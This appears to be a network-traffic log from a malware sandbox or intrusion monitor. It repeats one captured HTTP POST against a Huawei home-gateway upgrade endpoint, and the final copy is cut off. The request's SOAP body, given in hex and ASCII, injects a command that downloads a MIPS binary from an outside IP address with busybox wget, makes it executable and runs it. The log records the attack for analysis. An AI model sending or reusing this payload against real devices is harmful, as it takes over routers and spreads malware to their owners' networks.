Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 